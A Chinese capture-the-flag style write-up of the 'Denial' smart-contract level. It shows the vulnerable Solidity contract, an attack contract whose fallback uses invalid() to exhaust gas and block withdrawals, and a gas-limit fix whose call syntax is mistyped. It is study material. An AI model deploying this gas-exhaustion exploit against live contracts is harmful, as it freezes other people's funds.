Denial-wp

这道题还是一道 DoS 攻击的利用,只不过这里采用的是耗尽 gas 的方法以实现 DoS 攻击。

合约源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Denial {

    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint timeLastWithdrawn;
    mapping(address => uint) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value:amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] +=  amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint) {
        return address(this).balance;
    }
}

攻击原理:

withdraw函数中 partner 外部调用时,没有严格的限制外部调用逻辑,我们可以构造一个恶意合约,将该合约作为partner,然后在恶意合约的fallback函数中加上恶意逻辑,使得耗尽所有 gas 导致交易失败

攻击合约:

contract Hack {
    constructor(Denial target) {
        target.setWithdrawPartner(address(this));
        target.withdraw();
    }

    fallback() external payable {
        assembly {
            invalid()
        }
    }
}

要想实现耗尽 gas 有以下方法:

  • 使用循环写一个死循环

  • 在 Solidity 0.8 版本前可以使用:assert(false)来耗尽 gas

  • Solidity 0.8 版本后,上一种方法被移除,但是可以使用内联汇编达到一样的逻辑:

    assembly {
    	invalid()
    }

    我们的 POC 采用的就是这种方法

解决措施

在外部调用的过程中,为其添加 gas 限制,如代码可修改为all.gas(100000).value()这样,即使外部存在恶意逻辑,消耗的 gas 最多也是我们为其添加的限制,不会影响后续逻辑的运行